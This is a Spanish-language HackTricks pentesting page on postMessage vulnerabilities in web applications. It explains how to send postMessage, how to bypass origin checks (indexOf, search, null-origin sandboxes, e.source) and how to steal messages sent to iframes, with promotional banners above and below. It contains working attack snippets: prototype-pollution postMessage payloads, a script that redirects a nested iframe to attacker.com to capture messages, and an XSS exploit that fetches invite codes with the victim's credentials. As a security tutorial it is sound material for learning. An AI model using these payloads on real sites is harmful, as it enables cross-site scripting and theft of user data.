hacktricks/pentesting-web/postmessage-vulnerabilities
2024-04-18 03:34:07 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:10:19 +00:00
bypassing-sop-with-iframes-1.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:10:19 +00:00
bypassing-sop-with-iframes-2.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:10:19 +00:00
README.md Translated ['crypto-and-stego/hash-length-extension-attack.md', 'forensi 2024-04-18 03:34:07 +00:00
steal-postmessage-modifying-iframe-location.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:10:19 +00:00

Vulnerabilidades de PostMessage

Vulnerabilidades de PostMessage

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

WhiteIntel

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:

{% embed url="https://whiteintel.io" %}


Enviar PostMessage

PostMessage utiliza la siguiente función para enviar un mensaje:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Ten en cuenta que targetOrigin puede ser un '*' o una URL como https://company.com.
En el segundo escenario, el mensaje solo puede ser enviado a ese dominio (incluso si el origen del objeto ventana es diferente).
Si se utiliza el comodín, los mensajes podrían ser enviados a cualquier dominio, y se enviarán al origen del objeto Window.

Atacando iframe y comodín en targetOrigin

Como se explica en este informe si encuentras una página que puede ser iframeada (sin protección de X-Frame-Header) y que está enviando mensajes sensibles a través de postMessage utilizando un comodín (*), puedes modificar el origen del iframe y filtrar el mensaje sensible a un dominio controlado por ti.
Ten en cuenta que si la página puede ser iframeada pero el targetOrigin está configurado a una URL y no a un comodín, este truco no funcionará.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Explotación de addEventListener

addEventListener es la función utilizada por JS para declarar la función que está esperando postMessages.
Se utilizará un código similar al siguiente:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Enumeración

Para encontrar escuchas de eventos en la página actual puedes:

  • Buscar en el código JS por window.addEventListener y $(window).on (versión JQuery)
  • Ejecutar en la consola de herramientas para desarrolladores: getEventListeners(window)

  • Ir a Elementos --> Escuchas de eventos en las herramientas para desarrolladores del navegador

Saltos de verificación de origen

  • El atributo event.isTrusted se considera seguro ya que devuelve True solo para eventos generados por acciones genuinas del usuario. Aunque es desafiante de evadir si se implementa correctamente, su importancia en las verificaciones de seguridad es notable.
  • El uso de indexOf() para la validación de origen en eventos de PostMessage puede ser susceptible a evasiones. Un ejemplo que ilustra esta vulnerabilidad es:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • El método search() de String.prototype.search() está destinado para expresiones regulares, no para cadenas. Pasar cualquier cosa que no sea una expresión regular conduce a una conversión implícita a regex, lo que hace que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como comodín, permitiendo evadir la validación con dominios especialmente diseñados. Por ejemplo:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • La función match(), similar a search(), procesa regex. Si el regex está estructurado incorrectamente, podría ser propenso a evasiones.

  • La función escapeHtml está destinada a sanear las entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de manera que su propiedad controlada no reconozca hasOwnProperty, el escapeHtml no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:

  • Fallo esperado:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Evasión del escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

En el contexto de esta vulnerabilidad, el objeto File es notablemente explotable debido a su propiedad de solo lectura name. Esta propiedad, cuando se utiliza en plantillas, no es saneada por la función escapeHtml, lo que conlleva riesgos de seguridad potenciales.

  • La propiedad document.domain en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de misma origen dentro del mismo dominio principal.

Bypass de e.origin == window.origin

Al incrustar una página web dentro de un iframe con sandbox utilizando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con atributos de sandbox y sus implicaciones en seguridad y funcionalidad.

Al especificar allow-popups en el atributo de sandbox, cualquier ventana emergente abierta desde el iframe hereda las restricciones de sandbox de su padre. Esto significa que a menos que también se incluya el atributo allow-popups-to-escape-sandbox, el origen de la ventana emergente también se establece en null, alineándose con el origen del iframe.

Consecuentemente, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando postMessage, tanto el origen del envío como el del recibimiento se establecen en null. Esta situación lleva a un escenario donde e.origin == window.origin se evalúa como verdadero (null == null), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen null.

Para más información lee:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Evadiendo e.source

Es posible verificar si el mensaje proviene de la misma ventana en la que el script está escuchando (especialmente interesante para Scripts de Contenido de extensiones de navegador para verificar si el mensaje fue enviado desde la misma página):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Puedes forzar que e.source de un mensaje sea nulo creando un iframe que envíe el postMessage y que sea eliminado inmediatamente.

Para obtener más información, lee:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Bypass de encabezado X-Frame

Para realizar estos ataques idealmente podrás colocar la página web víctima dentro de un iframe. Pero algunos encabezados como X-Frame-Header pueden prevenir ese comportamiento.
En esos escenarios, aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña en la aplicación web vulnerable y comunicarte con ella:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Robo de mensajes enviados al hijo bloqueando la página principal

En la siguiente página puedes ver cómo podrías robar datos de postmessage sensibles enviados a un iframe hijo al bloquear la página principal antes de enviar los datos y abusar de un XSS en el hijo para filtrar los datos antes de que sean recibidos:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Robo de mensajes modificando la ubicación del iframe

Si puedes incluir un iframe de una página web sin encabezado X-Frame que contiene otro iframe, puedes cambiar la ubicación de ese iframe hijo, por lo que si está recibiendo un postmessage enviado usando un comodín, un atacante podría cambiar el origen de ese iframe a una página controlada por él y robar el mensaje:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage a la Polución de Prototipos y/o XSS

En escenarios donde los datos enviados a través de postMessage son ejecutados por JS, puedes incluir un iframe en la página y explotar la polución de prototipos/XSS enviando el exploit a través de postMessage.

Un par de XSS muy bien explicados a través de postMessage se pueden encontrar en https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Ejemplo de un exploit para abusar de la Polución de Prototipos y luego XSS a través de un postMessage a un iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Para más información:

Referencias

WhiteIntel

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:

{% embed url="https://whiteintel.io" %}

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: